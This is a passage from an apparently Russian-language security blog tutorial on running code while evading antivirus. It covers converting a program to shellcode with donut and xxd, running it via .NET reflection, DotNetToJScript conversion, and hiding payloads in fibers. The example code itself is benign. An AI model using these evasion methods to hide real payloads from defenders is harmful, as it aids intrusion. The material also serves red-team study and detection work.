LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam);   int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { \/\/ \u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043e\u043a\u043d\u0430 HWND hwnd; WNDCLASSEX wc = { sizeof(WNDCLASSEX), CS_HREDRAW | CS_VREDRAW, WindowProc, 0, 0, hInstance, NULL, LoadCursor(NULL, IDC_ARROW), NULL, NULL, L\"MyWindowClass\", NULL };     RegisterClassEx(&amp;wc); hwnd = CreateWindowEx(0, L\"MyWindowClass\", L\"Pixel Drawing\", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 800, 600, NULL, NULL, hInstance, NULL); ShowWindow(hwnd, nCmdShow);   \/\/ \u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 (Device Context) HDC hdc = GetDC(hwnd);   \/\/ \u0420\u0438\u0441\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0438\u043a\u0441\u0435\u043b\u0435\u0439 for (int x = 0; x &lt; 800; x++) {     for (int y = 0; y &lt; 600; y++)     {             SetPixel(hdc, x, y, RGB(x % 256, y % 256, (x + y) % 256)); \/\/ \u0417\u0430\u0434\u0430\u0435\u043c \u0446\u0432\u0435\u0442 \u043f\u0438\u043a\u0441\u0435\u043b\u044f     } }   \/\/ \u041e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0446\u0438\u043a\u043b \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 MSG msg; while (GetMessage(&amp;msg, NULL, 0, 0)) {         TranslateMessage(&amp;msg);         DispatchMessage(&amp;msg); }   \/\/ \u041e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0430\u0435\u043c \u0440\u0435\u0441\u0443\u0440\u0441\u044b \u0438 \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u0435\u043c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 ReleaseDC(hwnd, hdc);     UnregisterClass(L\"MyWindowClass\", hInstance); return 0; }   \/\/ \u041e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043e\u043a\u043d\u0430 LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam) { switch (uMsg) { case WM_DESTROY:         PostQuitMessage(0);     return 0; }   return DefWindowProc(hwnd, uMsg, wParam, lParam); }<\/code><\/pre>\n<p>\u0417\u0430\u0442\u0435\u043c \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u043c, \u043f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u043d\u0443\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0433\u043d\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u0432 \u0448\u0435\u043b\u043b\u043a\u043e\u0434. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0435\u0441\u0442\u044c \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0433\u043e\u0442\u043e\u0432\u044b\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432: <\/p>\n<ul>\n<li>\n<p><a href=\"https:\/\/github.com\/TheWover\/donut\">https:\/\/github.com\/TheWover\/donut<\/a> \u2014 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f<\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/github.com\/S4ntiagoP\/donut\/tree\/syscalls\">https:\/\/github.com\/S4ntiagoP\/donut\/tree\/syscalls<\/a> \u2014 donut \u0441 \u0441\u0438\u0441\u043a\u043e\u043b\u043b\u0430\u043c\u0438<\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/github.com\/hasherezade\/pe_to_shellcode\">https:\/\/github.com\/hasherezade\/pe_to_shellcode<\/a><\/p>\n<\/li>\n<\/ul>\n<p>\u041c\u043e\u0436\u043d\u043e \u0434\u0430\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c Visual Studio \u0434\u043b\u044f \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430, \u043e\u0431 \u044d\u0442\u043e\u043c \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043e \u0432 <a href=\"https:\/\/www.codeproject.com\/Articles\/5304605\/Creating-Shellcode-from-any-Code-Using-Visual-Stud\">\u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435<\/a>. \u042f \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u043f\u0440\u043e\u0441\u0442\u043e\u0438\u0306, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439 donut: <\/p>\n<pre><code class=\"cpp\">donut.exe -i CodeToShc.exe -o code.bin -b 1<\/code><\/pre>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/4b4\/e4d\/c0d\/4b4e4dc0dba9d555c2aac049f3c3406b.png\" width=\"2245\" height=\"1170\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/4b4\/e4d\/c0d\/4b4e4dc0dba9d555c2aac049f3c3406b.png\"\/><\/figure>\n<p>\u0417\u0430\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0433\u043e\u043d\u044f\u0435\u043c \u0438\u0437 .bin \u0444\u043e\u0440\u043c\u0430\u0442\u0430 \u0432 \u0448\u0435\u0441\u0442\u043d\u0430\u0434\u0446\u0430\u0442\u0435\u0440\u0438\u0447\u043d\u044b\u0439 \u0448\u0435\u043b\u043b\u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u043d\u043e \u0431\u0443\u0434\u0435\u0442 \u0432\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443: <\/p>\n<pre><code class=\"cpp\">xxd -i code.bin\u00a0 > 1.h<\/code><\/pre>\n<p>\u0412 \u0444\u0430\u0439\u043b\u0435 \u0431\u0443\u0434\u0435\u0442 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u0448\u0435\u043b\u043b\u043a\u043e\u0434 \u043d\u0430\u0448\u0435\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b: <\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/462\/c8f\/501\/462c8f5012ab6ad9ba25d9925d5638f7.png\" width=\"1865\" height=\"1130\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/462\/c8f\/501\/462c8f5012ab6ad9ba25d9925d5638f7.png\"\/><\/figure>\n<p>\u0414\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c \u0448\u0435\u043b\u043b\u043a\u043e\u0434 \u0432 \u0448\u0435\u043b\u043b\u043a\u043e\u0434-\u0440\u0430\u043d\u043d\u0435\u0440 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c, \u0447\u0442\u043e \u0432\u0441\u0451 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442: <\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/dba\/e70\/167\/dbae7016701711f09f1cd4dbf1343d3f.png\" width=\"1642\" height=\"1377\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/dba\/e70\/167\/dbae7016701711f09f1cd4dbf1343d3f.png\"\/><\/figure>\n<p>\u041e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u043b\u0438\u0448\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0431\u0430\u0439\u0442\u044b \u0441\u0431\u043e\u0440\u043a\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u044d\u0442\u0443 \u0441\u0431\u043e\u0440\u043a\u0443 \u0447\u0435\u0440\u0435\u0437 System.Reflection.Assembly: <\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/4b5\/bf3\/755\/4b5bf3755ae98454a5d51398a327e0df.png\" width=\"2000\" height=\"1078\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/4b5\/bf3\/755\/4b5bf3755ae98454a5d51398a327e0df.png\"\/><\/figure>\n<p>\u0418 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0441\u0431\u043e\u0440\u043a\u0438 \u0441 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u043e\u043c: <\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/04e\/3e3\/25f\/04e3e325f2770c6648c70473036e46c3.png\" width=\"1578\" height=\"1324\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/04e\/3e3\/25f\/04e3e325f2770c6648c70473036e46c3.png\"\/><\/figure>\n<p>\u0411\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u044d\u0442\u043e\u043c\u0443 \u0441\u043f\u043e\u0441\u043e\u0431\u0443 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430 \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441 \u043d\u0435 \u0432 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0442\u0430\u043a\u043e\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438: <\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/135\/b2c\/411\/135b2c4119f0052306cb4845a0d89ccb.png\" width=\"2019\" height=\"1112\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/135\/b2c\/411\/135b2c4119f0052306cb4845a0d89ccb.png\"\/><\/figure>\n<h3>\u041a\u043e\u043d\u0432\u0435\u0440\u0442\u0430\u0446\u0438\u044f \u0432 JScript<\/h3>\n<p>\u0421\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043c\u0435\u0442\u043e\u0434 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0434\u043e\u0442\u043d\u0435\u0442\u043e\u0432\u0441\u043a\u0438\u0445 \u0441\u0431\u043e\u0440\u043e\u043a \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043d\u0432\u0435\u0440\u0442\u0430\u0446\u0438\u044e \u0432 JScript, \u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442: <a href=\"https:\/\/github.com\/tyranid\/DotNetToJScript\">https:\/\/github.com\/tyranid\/DotNetToJScript<\/a>.<\/p>\n<p>\u041f\u0435\u0440\u0432\u044b\u043c \u0434\u0435\u043b\u043e\u043c \u043a\u0430\u0447\u0430\u0435\u043c \u043f\u0440\u043e\u0435\u043a\u0442 \u043f\u043e \u0441\u0441\u044b\u043b\u043a\u0435 \u0432\u044b\u0448\u0435, \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u043c \u0432 \u0441\u0442\u0443\u0434\u0438\u0438, \u0438\u0434\u0451\u043c \u0432 Solution Explorer \u2192 \u0442\u044b\u043a\u0430\u0435\u043c \u043d\u0430 TestClass.cs \u0432 \u043f\u0440\u043e\u0435\u043a\u0442\u0435 ExampleAssembly. \u0412\u044b\u0431\u0438\u0440\u0430\u0435\u043c \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043a\u0430\u043a .dll. <\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/34c\/74b\/013\/34c74b01310eaf6445fc73f0fe3a988a.png\" width=\"1613\" height=\"1350\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/34c\/74b\/013\/34c74b01310eaf6445fc73f0fe3a988a.png\"\/><\/figure>\n<p>\u0417\u0430\u0442\u0435\u043c \u043d\u0430\u0448 \u043a\u043e\u0434 \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u0432\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u0432 \u043a\u043b\u0430\u0441\u0441\u0435 TestClass(), \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u043a\u043e\u0434 \u0432\u044b\u0432\u043e\u0434\u0438\u0442 \u043c\u0435\u0441\u0441\u0435\u0434\u0436-\u0431\u043e\u043a\u0441: <\/p>\n<pre><code class=\"cs\">using System.Diagnostics; using System.Runtime.InteropServices; using System.Windows.Forms; [ComVisible(true)] public class TestClass {             public TestClass()             {                            MessageBox.Show(\"Test\", \"Test\", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);             }             public void RunProcess(string path)             {                            Process.Start(path);             } }<\/code><\/pre>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 .dll \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u0441\u043a\u0430\u0447\u0430\u043d\u043d\u0443\u044e \u0432\u044b\u0448\u0435 \u0442\u0443\u043b\u0437\u0443 \u0434\u043b\u044f \u043a\u043e\u043d\u0432\u0435\u0440\u0442\u0430\u0446\u0438\u0438 \u0432 js: <\/p>\n<pre><code class=\"cs\">DotNetToJScript.exe &lt;\u0438\u043c\u044f \u043d\u0430\u0448\u0435\u0439 \u0434\u043b\u043b> --lang=Jscript --ver=&lt;\u0432\u0435\u0440\u0441\u0438\u044f .NET \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430> -o demo.js  # Ex DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo.js<\/code><\/pre>\n<p>\u041f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0438\u0306 .js \u0444\u0430\u0438\u0306\u043b \u043c\u043e\u0436\u043d\u043e \u0441\u043c\u0435\u043b\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u0435\u0434\u0451\u0442 \u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 \u0438\u0437 TestClass(), \u0430 \u0438\u043c\u0435\u043d\u043d\u043e \u2014 \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u044e MessageBox. <\/p>\n<h3>Fibers<\/h3>\n<p>\u0424\u0438\u0431\u0435\u0440\u044b \u2014 \u044d\u0442\u043e \u043e\u0434\u043d\u0430 \u0438\u0437 \u0435\u0434\u0438\u043d\u0438\u0446 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430, \u043a\u0430\u043a \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0438\u043b\u0438 \u043f\u043e\u0442\u043e\u043a. \u0424\u0438\u0431\u0435\u0440 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432\u043d\u0443\u0442\u0440\u0438 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043f\u043e\u0442\u043e\u043a\u0430. \u0422\u043e \u0435\u0441\u0442\u044c \u0432\u044b\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0438\u0435\u0440\u0430\u0440\u0445\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u043f\u043e\u0442\u043e\u043a \u2192 \u0444\u0438\u0431\u0435\u0440. \u0412\u043d\u0443\u0442\u0440\u0438 \u043f\u043e\u0442\u043e\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0444\u0438\u0431\u0435\u0440\u043e\u0432. \u041f\u0440\u0438\u0447\u0451\u043c \u0444\u0438\u0431\u0435\u0440\u044b \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0441\u0430\u043c\u0438\u043c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435\u043c, \u0430 \u043d\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439. \u0411\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u0444\u0438\u0431\u0435\u0440\u0430\u043c \u043c\u043e\u0436\u043d\u043e \u0432\u044b\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0442\u044c \u0431\u043e\u043b\u0435\u0435 \u0433\u0438\u0431\u043a\u0438\u0435 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u044b \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043e\u043d\u0438 \u0438\u043c\u0435\u044e\u0442 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0441\u0442\u0435\u043a \u0438 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u044b. \u0424\u0438\u0431\u0435\u0440\u044b \u0443\u0434\u043e\u0431\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u0437\u0430\u0434\u0430\u0447 \u0441\u043e\u043a\u0440\u044b\u0442\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430, \u0442\u0430\u043a \u043a\u0430\u043a \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0432\u043d\u0443\u0442\u0440\u0438 \u0444\u0438\u0431\u0435\u0440\u043e\u0432 \u043e\u0442\u0441\u043b\u0435\u0434\u0438\u0442\u044c \u043d\u0430\u043c\u043d\u043e\u0433\u043e \u0441\u043b\u043e\u0436\u043d\u0435\u0435, \u0447\u0435\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u043e\u0442\u043e\u043a\u0430. \u0421\u0430\u043c\u043e\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u0441\u0442\u0435\u043a \u0444\u0438\u0431\u0435\u0440\u0430, \u043a\u0430\u043a \u0442\u043e\u043b\u044c\u043a\u043e \u0444\u0438\u0431\u0435\u0440 \u0437\u0430\u0432\u0435\u0440\u0448\u0438\u0442 \u0441\u0432\u043e\u044e \u0440\u0430\u0431\u043e\u0442\u0443, \u0431\u0443\u0434\u0435\u0442 \u043e\u0447\u0438\u0449\u0435\u043d. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0447\u0435\u0433\u043e \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u043e\u043c\u0443 \u041f\u041e \u0431\u0443\u0434\u0435\u0442 \u0441\u043b\u043e\u0436\u043d\u0435\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0432 \u043d\u0430\u0448\u0435\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435. <\/p>\n<p>\u0415\u0441\u043b\u0438 \u0436\u0435 \u0444\u0438\u0431\u0435\u0440 \u0432\u043d\u0443\u0442\u0440\u0438 \u0441\u0435\u0431\u044f \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u0434\u0440\u0443\u0433\u043e\u0439 \u0444\u0438\u0431\u0435\u0440, \u0442\u043e \u0441\u0442\u0435\u043a \u043e\u0447\u0438\u0449\u0435\u043d \u043d\u0435 \u0431\u0443\u0434\u0435\u0442. \u0411\u0443\u0434\u0435\u0442 \u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u043e \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0441\u0442\u0435\u043a\u0430 \u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0438\u0306 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u043e\u0432 \u043d\u0430 \u0442\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u043e\u043b\u0436\u043d\u044b \u0431\u044b\u0442\u044c \u0443 \u0444\u0438\u0431\u0435\u0440\u0430, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0438\u043b\u0438\u0441\u044c. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0435\u0441\u043b\u0438 \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u043f\u043e\u0442\u043e\u043a\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430 EAX 0x00, \u0443 \u0444\u0438\u0431\u0435\u0440\u0430 1 \u043e\u043d\u043e \u0440\u0430\u0432\u043d\u043e 0x01, \u0430 \u0443 \u0444\u0438\u0431\u0435\u0440\u0430 2 0x02, \u0442\u043e, \u043f\u0440\u0438 \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0438 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0433\u043e \u043f\u043e\u0442\u043e\u043a\u0430 \u043d\u0430 \u0444\u0438\u0431\u0435\u0440 1 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430 EAX \u0441\u0442\u0430\u043d\u0435\u0442 \u0440\u0430\u0432\u043d\u043e 0x01, \u0430 \u043f\u0440\u0438 \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0438 \u0438\u0437 \u0444\u0438\u0431\u0435\u0440\u0430 1 \u043d\u0430 \u0444\u0438\u0431\u0435\u0440 2 \u043e\u043d\u043e \u0441\u0442\u0430\u043d\u0435\u0442 \u0440\u0430\u0432\u043d\u043e 0x02. \u041f\u043e\u0441\u043b\u0435 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0444\u0438\u0431\u0435\u0440\u0430 2 \u043f\u0440\u0438\u043c\u0435\u0442 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0444\u0438\u0431\u0435\u0440\u0430 1 \u0438 \u0442. \u0434. <\/p>\n<p>\u0412 \u0438\u0434\u0435\u0430\u043b\u0435 \u0434\u043b\u044f \u0441\u043e\u043a\u0440\u044b\u0442\u0438\u044f \u043f\u0435\u0438\u0306\u043b\u043e\u0430\u0434\u0430 \u043e\u0442 \u0410\u0412 \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0440\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u0442\u044c \u0435\u0433\u043e \u0433\u0434\u0435-\u0442\u043e \u0432 \u0444\u0430\u0439\u043b\u0435 \u2014 \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432 PE, \u0432 \u0441\u043e\u0441\u0435\u0434\u043d\u0435\u0439 DLL \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 \u0438\u043b\u0438 \u0433\u0434\u0435-\u0442\u043e \u0435\u0449\u0451. \u0417\u0430\u0442\u0435\u043c \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u043a\u0443\u0447\u0443 \u043f\u043e\u0442\u043e\u043a\u043e\u0432, \u0432 \u043d\u0438\u0445 \u043a\u0443\u0447\u0443 \u0444\u0438\u0431\u0435\u0440\u043e\u0432, \u0430 \u0432 \u043a\u0430\u043a\u043e\u043c-\u0442\u043e \u0438\u0437 \u0444\u0438\u0431\u0435\u0440\u043e\u0432 \u2014 \u043f\u043e\u043b\u0435\u0437\u043d\u0443\u044e \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443. <\/p>\n<p>\u0424\u0438\u0431\u0435\u0440\u044b \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a \u0432 C#, \u0442\u0430\u043a \u0438 \u0432 C++. \u0414\u043b\u044f \u0440\u0430\u0437\u043d\u043e\u043e\u0431\u0440\u0430\u0437\u0438\u044f \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e \u044d\u0442\u043e\u0442 PoC \u043d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043d\u0430 C++. \u0418\u0442\u0430\u043a, \u043e\u0441\u043d\u043e\u0432\u043d\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0444\u0438\u0431\u0435\u0440\u0430\u043c\u0438 \u2014 <a href=\"https:\/\/learn.microsoft.com\/ru-ru\/windows\/win32\/api\/winbase\/nf-winbase-createfiber\">CreateFiber()<\/a>: <\/p>\n<pre><code class=\"cpp\">LPVOID CreateFiber(   [in]       SIZE_T            dwStackSize,   [in]       LPFIBER_START_ROUTINE lpStartAddress,   [in, optional] LPVOID            lpParameter );<\/code><\/pre>\n<ul>\n<li>\n<p>dwStackSize \u2014 \u043d\u0430\u0447\u0430\u043b\u044c\u043d\u044b\u0439 \u0440\u0430\u0437\u043c\u0435\u0440 \u0441\u0442\u0435\u043a\u0430<\/p>\n<\/li>\n<li>\n<p>LPFIBER_START_ROUTINE \u2014 \u043a\u043e\u043b\u043b\u0431\u044d\u043a-\u0444\u0443\u043d\u043a\u0446\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u0443\u0434\u0435\u0442 \u0441\u0447\u0438\u0442\u0430\u0442\u044c\u0441\u044f \u0433\u043b\u0430\u0432\u043d\u043e\u0438\u0306 \u0444\u0443\u043d\u043a\u0446\u0438\u0435\u0438\u0306 \u0444\u0438\u0431\u0435\u0440\u0430. \u041e\u043d\u0430 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u0441\u0442\u0430\u0440\u0442\u0435 \u0444\u0438\u0431\u0435\u0440\u0430<\/p>\n<\/li>\n<li>\n<p>lpParameter \u2014 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u044b \u0445\u043e\u0442\u0438\u043c \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c \u0432 \u0444\u0438\u0431\u0435\u0440<\/p>\n<\/li>\n<\/ul>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f 